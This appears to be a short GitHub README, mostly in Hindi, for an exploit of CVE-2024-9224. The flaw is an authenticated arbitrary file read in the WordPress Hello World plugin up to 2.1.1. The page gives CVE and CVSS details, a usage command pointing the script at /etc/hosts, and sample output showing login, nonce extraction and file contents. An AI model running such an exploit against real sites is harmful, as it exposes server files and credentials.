randomrobbiebf/cve-2024-9224Hello World <= 2.1.1 - प्रमाणित (सब्सक्राइबर+) आर्बिट्ररी फ़ाइल रीड
Hello World <= 2.1.1 - प्रमाणित (सब्सक्राइबर+) मनमाना फ़ाइल पठन
WordPress के लिए Hello World प्लगइन, hello_world_lyric() फ़ंक्शन के माध्यम से 2.1.1 तक (और 2.1.1 सहित) सभी संस्करणों में मनमाना फ़ाइल पठन के प्रति संवेदनशील है। यह प्रमाणित हमलावरों के लिए, सब्सक्राइबर-स्तर और उससे ऊपर की पहुंच के साथ, सर्वर पर मौजूद मनमानी फ़ाइलों की सामग्री को पढ़ना संभव बनाता है, जिनमें संवेदनशील जानकारी हो सकती है।
Published: 2024-09-30 00:00:00
CVE: CVE-2024-9224
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 6.5
Slugs: hello-world
यह केवल टेक्स्ट फ़ाइल का एक छोटा सा हिस्सा प्रदर्शित करता है।
python3 CVE-2024-9224.py -un user -p user --url http://kubernetes.docker.internal -f /etc/hosts
Vulnerability check: http://kubernetes.docker.internal
Logged in successfully.
Nonce value: 0dbe58cb8d
Extracted text: 127.0.0.1 localhost